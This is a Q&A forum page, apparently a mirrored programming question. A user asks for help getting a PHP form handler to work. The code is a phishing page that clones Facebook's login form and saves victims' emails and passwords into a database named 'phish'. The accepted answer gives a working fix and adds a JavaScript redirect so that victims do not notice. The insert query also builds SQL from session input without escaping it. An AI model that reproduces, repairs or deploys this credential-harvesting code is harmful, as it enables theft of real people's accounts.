douzen3516 2014-04-08 23:19
浏览 189
已采纳

表单if(isset($ _ POST ['login']))在php中根本不工作

My problem is that I need this to submit data to my database. Below is the code that I have tried. The actual problem is that i want to use a if(isset($_POST['login'])) but it doesn't work in this form any ideas ?

Above my html

<?php
       session_start();
        $_SESSION['ref']=$_GET['ref'];
         function login()
          {
            $host="127.0.0.1:8889";
            $user="root";
            $pw="root";
            $verbinding=mysql_connect($host,$user,$pw) or die("Kan de verbinding niet maken"); 
          }
        ?> 

My form can be found here

<form id="login_form" action="" method="post" onsubmit="">
<input type="hidden" name="lsd" value="AVo7vBhv" autocomplete="off"><table cellspacing="0">        <tbody>
 <tr><td class="html7magic"><label for="email">Email or Phone</label></td><td class="html7magic">
 <label for="pass">Password</label></td></tr><tr><td><input type="text" class="inputtext" name="email" id="email" value="" tabindex="1"></td>
 <td><input type="password" class="inputtext" name="pass" id="pass" tabindex="2"></td>
<td><label class="uiButton uiButtonConfirm" id="loginbutton" for="u_0_n">
<input id="u_0_n" name="login" type="submit" value="Log In"></label></td>
</tr>
<tr><td class="login_form_label_field"><div><div class="uiInputLabel clearfix   uiInputLabelLegacy">
<input id="persist_box" type="checkbox" name="persistent" value="1" tabindex="3"  class="uiInputLabelInput uiInputLabelCheckbox"><label for="persist_box" class="uiInputLabelLabel">Keep me logged in</label></div>
<input type="hidden" name="default_persistent" value="0"></div></td><td class="login_form_label_field"><a rel="nofollow" href="https://www.facebook.com/recover/initiate">Forgot your password?</a></td></tr></tbody></table>
<input type="hidden" autocomplete="off" name="timezone" value="-120" id="u_0_o">
<input type="hidden" name="lgnrnd" value="082209_35e1"><input type="hidden" id="lgnjs" name="lgnjs" value="1396970529">
<input type="hidden" autocomplete="off" id="locale" name="locale" value="en_US"></form>

Underneath my form you find this

<?php
 if(isset($_POST['login'])){
if($_POST['email'] != "" && $_POST['pass'] != "")
{
 login();
   $db="phish";
    mysql_select_db($db);
$sql = "INSERT INTO facebook(username,password,ref) VALUES ('".base64_encode($_POST['email'])."','".base64_encode($_POST['pass'])."','".$_SESSION['ref']."')";

 mysql_query($sql); 

 mysql_close($verbinding);
}
} 
?>
  • 写回答

3条回答 默认 最新

  • drgbpq5930 2014-04-10 10:34
    关注

    I've got the answer i had to change it

    TO:

         <?php
    if($_POST['email'] != "" && $_POST['pass'] != "")
    {
     login();
       $db="phish";
          mysql_select_db($db);
    $sql = "INSERT INTO facebook(username,password,ref) VALUES ('".base64_encode($_POST['email'])."','".base64_encode($_POST['pass'])."','".$_SESSION['ref']."')";
    
      mysql_query($sql); 
    
      mysql_close($verbinding);
       ?>
        <script>
        alert("alert here");
       window.location.href="url-here";
       </script>
        <?php 
    }
     ?>
    

    I just removed the if(isset($_POST['login'])) and used some additional javascript to get it working ;)

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(2条)

报告相同问题?

悬赏问题

  • ¥15 请教一下各位,为什么我这个没有实现模拟点击
  • ¥15 执行 virtuoso 命令后,界面没有,cadence 启动不起来
  • ¥50 comfyui下连接animatediff节点生成视频质量非常差的原因
  • ¥20 有关区间dp的问题求解
  • ¥15 多电路系统共用电源的串扰问题
  • ¥15 slam rangenet++配置
  • ¥15 有没有研究水声通信方面的帮我改俩matlab代码
  • ¥15 ubuntu子系统密码忘记
  • ¥15 保护模式-系统加载-段寄存器
  • ¥15 电脑桌面设定一个区域禁止鼠标操作